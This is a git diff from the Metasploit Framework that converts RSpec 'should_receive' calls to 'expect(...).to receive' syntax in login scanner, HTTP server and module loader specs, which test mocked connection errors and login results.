.../framework/login_scanner/mysql_spec.rb | 22 +++++----- .../framework/login_scanner/pop3_spec.rb | 2 +- .../framework/login_scanner/postgres_spec.rb | 12 +++--- .../framework/login_scanner/ssh_spec.rb | 28 ++++++------- .../framework/login_scanner/vnc_spec.rb | 18 ++++----- spec/lib/msf/core/exploit/http/server_spec.rb | 12 +++--- spec/lib/msf/core/modules/loader/base_spec.rb | 40 +++++++++---------- .../msf/core/modules/loader/directory_spec.rb | 4 +- spec/lib/msf/core/modules/namespace_spec.rb | 2 +- spec/lib/msf/core/option_container_spec.rb | 4 +- spec/lib/msf/core/payload_generator_spec.rb | 24 +++++------ .../console/command_dispatcher/core_spec.rb | 4 +- spec/lib/rex/proto/http/client_spec.rb | 8 ++-- spec/msfupdate_spec.rb | 10 ++--- .../login_scanner/login_scanner_base.rb | 24 +++++------ .../msf/db_manager/exploit_attempt.rb | 12 +++--- .../import/metasploit_framework/xml.rb | 30 +++++++------- .../import_msf_web_element_specialization.rb | 8 ++-- .../examples/msf/db_manager/migration.rb | 18 ++++----- .../examples/msf/db_manager/module_cache.rb | 14 +++---- .../shared/examples/msf/db_manager/session.rb | 20 +++++----- .../update_all_module_details_refresh.rb | 6 +-- .../examples/msf/module_manager/cache.rb | 18 ++++----- .../examples/msf/module_manager/loading.rb | 8 ++-- .../msf/simple/framework/module_paths.rb | 6 +-- 31 files changed, 190 insertions(+), 190 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 5ff89034ed..822b944d35 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -69,7 +69,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should call #current_connection_id' do - connection_pool.should_receive( + expect(connection_pool).to receive( :current_connection_id ).at_least( :once diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb index 7c272c223a..4058eddc18 100644 --- a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -20,7 +20,7 @@ RSpec.describe Metasploit::Framework::JtR::InvalidWordlist do it { should be_a StandardError } it 'should use ActiveModel::Errors#full_messages' do - model.errors.should_receive(:full_messages).and_call_original + expect(model.errors).to receive(:full_messages).and_call_original described_class.new(model) end diff --git a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb index 596bc12623..3078f82cd8 100644 --- a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb @@ -18,7 +18,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::DB2 do context 'when the socket errors' do it 'returns a connection_error result for an Rex::ConnectionError' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionError result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to be_a(::Rex::ConnectionError) @@ -26,7 +26,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::DB2 do it 'returns a connection_error result for an Rex::ConnectionTimeout' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionTimeout result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to be_a(::Rex::ConnectionTimeout) @@ -34,7 +34,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::DB2 do it 'returns a connection_error result for an ::Timeout::Error' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Timeout::Error + expect(my_scanner).to receive(:connect).and_raise ::Timeout::Error result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to be_a(::Timeout::Error) diff --git a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb index 324ae7e506..21fd8ec44e 100644 --- a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb @@ -105,22 +105,22 @@ RSpec.describe Metasploit::Framework::LoginScanner::FTP do context 'when it fails' do it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do - Rex::Socket::Tcp.should_receive(:create) { raise Rex::ConnectionError } + expect(Rex::Socket::Tcp).to receive(:create) { raise Rex::ConnectionError } expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do - Rex::Socket::Tcp.should_receive(:create) { raise Rex::AddressInUse } + expect(Rex::Socket::Tcp).to receive(:create) { raise Rex::AddressInUse } expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a ::EOFError' do - Rex::Socket::Tcp.should_receive(:create) { raise ::EOFError } + expect(Rex::Socket::Tcp).to receive(:create) { raise ::EOFError } expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a ::Timeout::Error' do - Rex::Socket::Tcp.should_receive(:create) { raise ::Timeout::Error } + expect(Rex::Socket::Tcp).to receive(:create) { raise ::Timeout::Error } expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb index 663a598c3d..ee306145c5 100644 --- a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -20,7 +20,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Invalid do it { should be_a StandardError } it 'should use ActiveModel::Errors#full_messages' do - model.errors.should_receive(:full_messages).and_call_original + expect(model.errors).to receive(:full_messages).and_call_original described_class.new(model) end diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb index 1fd48bd2e4..60a1eb9b35 100644 --- a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -69,7 +69,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do context 'when the is a connection error' do it 'returns a result with the connection_error status' do my_scanner = login_scanner - my_scanner.should_receive(:mssql_login).and_raise ::Rex::ConnectionError + expect(my_scanner).to receive(:mssql_login).and_raise ::Rex::ConnectionError expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end end @@ -77,7 +77,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do context 'when the login fails' do it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do my_scanner = login_scanner - my_scanner.should_receive(:mssql_login).and_return false + expect(my_scanner).to receive(:mssql_login).and_return false expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT end end @@ -85,7 +85,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do context 'when the login succeeds' do it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do my_scanner = login_scanner - my_scanner.should_receive(:mssql_login).and_return true + expect(my_scanner).to receive(:mssql_login).and_return true expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end diff --git a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb index 416614e0e5..f5a101d05c 100644 --- a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb @@ -37,7 +37,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MySQL do context 'when the attempt is successful' do it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do - ::RbMysql.should_receive(:connect).and_return "fake mysql handle" + expect(::RbMysql).to receive(:connect).and_return "fake mysql handle" expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end @@ -45,60 +45,60 @@ RSpec.describe Metasploit::Framework::LoginScanner::MySQL do context 'when the attempt is unsuccessful' do context 'due to connection refused' do it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do - ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(::RbMysql).to receive(:connect).and_raise Errno::ECONNREFUSED expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(::RbMysql).to receive(:connect).and_raise Errno::ECONNREFUSED expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ECONNREFUSED) end end context 'due to connection timeout' do it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(::RbMysql).to receive(:connect).and_raise RbMysql::ClientError expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(::RbMysql).to receive(:connect).and_raise RbMysql::ClientError expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::ClientError) end end context 'due to operation timeout' do it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do - ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(::RbMysql).to receive(:connect).and_raise Errno::ETIMEDOUT expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(::RbMysql).to receive(:connect).and_raise Errno::ETIMEDOUT expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ETIMEDOUT) end end context 'due to not being allowed to connect from this host' do it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(::RbMysql).to receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(::RbMysql).to receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::HostNotPrivileged) end end context 'due to access denied' do it 'returns a result with a status of Metasploit::Model::Login::Status::INCORRECT' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(::RbMysql).to receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::INCORRECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(::RbMysql).to receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::AccessDeniedError) end end diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index 21a8680fe3..a2f72f946c 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -52,7 +52,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::POP3 do sock.stub(:closed?) expect(scanner).to receive(:connect) scanner.stub(:sock).and_return(sock) - scanner.should_receive(:select).with([sock],nil,nil,0.4) + expect(scanner).to receive(:select).with([sock],nil,nil,0.4) end it "Server returns +OK" do diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb index fe4e1e6856..0724493781 100644 --- a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -31,22 +31,22 @@ RSpec.describe Metasploit::Framework::LoginScanner::Postgres do context 'when the login is successful' do it 'returns a result object with a status of success' do fake_conn = "fake_connection" - Msf::Db::PostgresPR::Connection.should_receive(:new).and_return fake_conn - fake_conn.should_receive(:close) + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_return fake_conn + expect(fake_conn).to receive(:close) expect(login_scanner.attempt_login(full_cred).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end context 'when there is no realm on the credential' do it 'uses template1 as the default realm' do - Msf::Db::PostgresPR::Connection.should_receive(:new).with('template1', 'root', 'toor', 'tcp://:') + expect(Msf::Db::PostgresPR::Connection).to receive(:new).with('template1', 'root', 'toor', 'tcp://:') login_scanner.attempt_login(cred_no_realm) end end context 'when the realm is invalid but the rest of the credential is not' do it 'includes the details in the result proof' do - Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC3D000" + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_raise RuntimeError, "blah\tC3D000" result = login_scanner.attempt_login(cred_no_realm) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT expect(result.proof).to eq "C3D000, Creds were good but database was bad" @@ -55,7 +55,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Postgres do context 'when the username or password is invalid' do it 'includes a message in proof, indicating why it failed' do - Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC28000" + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_raise RuntimeError, "blah\tC28000" result = login_scanner.attempt_login(cred_no_realm) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT expect(result.proof).to eq "Invalid username or password" @@ -64,7 +64,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Postgres do context 'when any other type of error occurs' do it 'returns a failure with the error message in the proof' do - Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "unknown error" + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_raise RuntimeError, "unknown error" result = login_scanner.attempt_login(cred_no_realm) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT expect(result.proof).to eq "unknown error" diff --git a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb index 93fba3a081..e0d57ccfb5 100644 --- a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb @@ -116,7 +116,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do end it 'creates a Timeout based on the connection_timeout' do - ::Timeout.should_receive(:timeout).with(ssh_scanner.connection_timeout) + expect(::Timeout).to receive(:timeout).with(ssh_scanner.connection_timeout) ssh_scanner.attempt_login(pub_pri) end @@ -131,7 +131,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do :verbose => ssh_scanner.verbosity, :proxies => nil } - Net::SSH.should_receive(:start).with( + expect(Net::SSH).to receive(:start).with( ssh_scanner.host, public, opt_hash @@ -151,7 +151,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do :verbose => ssh_scanner.verbosity, :proxies => nil } - Net::SSH.should_receive(:start).with( + expect(Net::SSH).to receive(:start).with( ssh_scanner.host, public, hash_including(opt_hash) @@ -163,37 +163,37 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do context 'when it fails' do it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do - Net::SSH.should_receive(:start) { raise Rex::ConnectionError } + expect(Net::SSH).to receive(:start) { raise Rex::ConnectionError } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do - Net::SSH.should_receive(:start) { raise Rex::AddressInUse } + expect(Net::SSH).to receive(:start) { raise Rex::AddressInUse } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a Net::SSH::Disconnect' do - Net::SSH.should_receive(:start) { raise Net::SSH::Disconnect } + expect(Net::SSH).to receive(:start) { raise Net::SSH::Disconnect } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a ::EOFError' do - Net::SSH.should_receive(:start) { raise ::EOFError } + expect(Net::SSH).to receive(:start) { raise ::EOFError } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a ::Timeout::Error' do - Net::SSH.should_receive(:start) { raise ::Timeout::Error } + expect(Net::SSH).to receive(:start) { raise ::Timeout::Error } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns [:fail,nil] for a Net::SSH::Exception' do - Net::SSH.should_receive(:start) { raise Net::SSH::Exception } + expect(Net::SSH).to receive(:start) { raise Net::SSH::Exception } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT end it 'returns [:fail,nil] if no socket returned' do - Net::SSH.should_receive(:start).and_return nil + expect(Net::SSH).to receive(:start).and_return nil expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT end end @@ -201,16 +201,16 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do context 'when it succeeds' do it 'gathers proof of the connections' do - Net::SSH.should_receive(:start) {"fake_socket"} + expect(Net::SSH).to receive(:start) {"fake_socket"} my_scanner = ssh_scanner - my_scanner.should_receive(:gather_proof) + expect(my_scanner).to receive(:gather_proof) my_scanner.attempt_login(pub_pri) end it 'returns a success code and proof' do - Net::SSH.should_receive(:start) {"fake_socket"} + expect(Net::SSH).to receive(:start) {"fake_socket"} my_scanner = ssh_scanner - my_scanner.should_receive(:gather_proof).and_return(public) + expect(my_scanner).to receive(:gather_proof).and_return(public) expect(my_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb index edc9b03a6c..ca224b9d62 100644 --- a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -19,19 +19,19 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do context '#attempt_login' do it 'creates a new RFB client' do - Rex::Proto::RFB::Client.should_receive(:new).and_call_original + expect(Rex::Proto::RFB::Client).to receive(:new).and_call_original login_scanner.attempt_login(test_cred) end it 'returns a connection_error result when the handshake fails' do - Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return false + expect(Rex::Proto::RFB::Client.any_instance).to receive(:handshake).and_return false result = login_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a failed result when authentication fails' do - Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return true - Rex::Proto::RFB::Client.any_instance.should_receive(:authenticate).with(private).and_return false + expect(Rex::Proto::RFB::Client.any_instance).to receive(:handshake).and_return true + expect(Rex::Proto::RFB::Client.any_instance).to receive(:authenticate).with(private).and_return false result = login_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT end @@ -39,7 +39,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do context 'when the socket errors' do it 'returns a connection_error result for an EOFError' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::EOFError + expect(my_scanner).to receive(:connect).and_raise ::EOFError result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq ::EOFError.new.to_s @@ -47,7 +47,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do it 'returns a connection_error result for an Rex::AddressInUse' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::AddressInUse + expect(my_scanner).to receive(:connect).and_raise ::Rex::AddressInUse result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq ::Rex::AddressInUse.new.to_s @@ -55,7 +55,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do it 'returns a connection_error result for an Rex::ConnectionError' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionError result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq ::Rex::ConnectionError.new.to_s @@ -63,7 +63,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do it 'returns a connection_error result for an Rex::ConnectionTimeout' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionTimeout result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq ::Rex::ConnectionTimeout.new.to_s @@ -71,7 +71,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do it 'returns a connection_error result for an ::Timeout::Error' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Timeout::Error + expect(my_scanner).to receive(:connect).and_raise ::Timeout::Error result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq ::Timeout::Error.new.to_s diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 7bf4dbfeda..14b1799bb0 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -34,15 +34,15 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do it "should call the ServiceManager's add_resource" do server_module.start_service - mock_service.should_receive(:add_resource) + expect(mock_service).to receive(:add_resource) server_module.add_resource('Path' => 'foo') end it "should re-raise if the resource has already been added" do server_module.start_service - mock_service.should_receive(:add_resource).ordered - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + expect(mock_service).to receive(:add_resource).ordered + expect(mock_service).to receive(:add_resource).ordered.and_raise(RuntimeError) server_module.add_resource('Path' => 'foo') @@ -65,7 +65,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do # The service will add one resource as part of #start_service, so # add that to the number that we added manually - server_module.should_receive(:remove_resource).exactly(resources.count + 1).times + expect(server_module).to receive(:remove_resource).exactly(resources.count + 1).times server_module.cleanup end @@ -75,14 +75,14 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do it "should call the ServiceManager's add_resource" do server_module.start_service - mock_service.should_receive(:add_resource) + expect(mock_service).to receive(:add_resource) server_module.hardcoded_uripath('foo') end it "should re-raise if the resource has already been added" do server_module.start_service - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + expect(mock_service).to receive(:add_resource).ordered.and_raise(RuntimeError) expect { server_module.hardcoded_uripath('foo') }.to raise_error end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 729bd37af5..0288c9d73c 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -259,7 +259,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should call file_changed? with the module_path' do - module_manager.should_receive(:file_changed?).with(module_path).and_return(false) + expect(module_manager).to receive(:file_changed?).with(module_path).and_return(false) subject.load_module(parent_path, type, module_reference_name, :force => false) end @@ -329,7 +329,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should call #namespace_module_transaction with the module full name and :reload => true' do subject.stub(:read_module_content => module_content) - subject.should_receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) + expect(subject).to receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) subject.load_module(parent_path, type, module_reference_name) end @@ -346,7 +346,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do module_manager.stub(:on_module_load) - subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) subject.load_module(parent_path, type, module_reference_name).should be_truthy end @@ -355,7 +355,7 @@ RSpec.describe Msf::Modules::Loader::Base do module_manager.stub(:on_module_load) # if the module eval error includes the module_path then the module_path was passed along correctly - subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) + expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/) subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey end @@ -429,7 +429,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should record the load error using the original error' do - subject.should_receive(:load_error).with(module_path, error) + expect(subject).to receive(:load_error).with(module_path, error) subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -460,7 +460,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) + expect(subject).to receive(:load_error).with(module_path, version_compatibility_error) subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -493,7 +493,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should check for version compatibility' do module_manager.stub(:on_module_load) - @namespace_module.should_receive(:version_compatible!).with(module_path, module_reference_name) + expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) subject.load_module(parent_path, type, module_reference_name) end @@ -523,7 +523,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) + expect(subject).to receive(:load_error).with(module_path, version_compatibility_error) subject.load_module(parent_path, type, module_reference_name).should be_falsey end @@ -556,7 +556,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should record load error' do - subject.should_receive( + expect(subject).to receive( :load_error ).with( module_path, @@ -586,7 +586,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should check if it is usable' do - subject.should_receive(:usable?).with(metasploit_class).and_return(true) + expect(subject).to receive(:usable?).with(metasploit_class).and_return(true) subject.load_module(parent_path, type, module_reference_name).should be_truthy end @@ -596,7 +596,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should log information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) + expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) subject.load_module(parent_path, type, module_reference_name).should be_falsey end @@ -618,7 +618,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should log load information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) + expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) subject.load_module(parent_path, type, module_reference_name).should be_truthy end @@ -636,7 +636,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should call module_manager.on_module_load' do - module_manager.should_receive(:on_module_load) + expect(module_manager).to receive(:on_module_load) subject.load_module(parent_path, type, module_reference_name).should be_truthy end @@ -719,7 +719,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should wrap NAMESPACE_MODULE_CONTENT with module declarations matching namespace_module_names' do - Object.should_receive( + expect(Object).to receive( :module_eval ).with( "module #{namespace_module_names[0]}\n" \ @@ -741,7 +741,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it "should set the module_eval path to the loader's __FILE__" do - Object.should_receive( + expect(Object).to receive( :module_eval ).with( anything, @@ -757,7 +757,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should set the module_eval line to compensate for the wrapping module declarations' do - Object.should_receive( + expect(Object).to receive( :module_eval ).with( anything, @@ -775,7 +775,7 @@ RSpec.describe Msf::Modules::Loader::Base do it "should set the namespace_module's module loader to itself" do namespace_module = double('Namespace Module') - namespace_module.should_receive(:loader=).with(subject) + expect(namespace_module).to receive(:loader=).with(subject) subject.stub(:current_module => namespace_module) @@ -949,7 +949,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with :reload => false' do it 'should log an error' do - subject.should_receive(:elog).with(/Reloading.*when :reload => false/) + expect(subject).to receive(:elog).with(/Reloading.*when :reload => 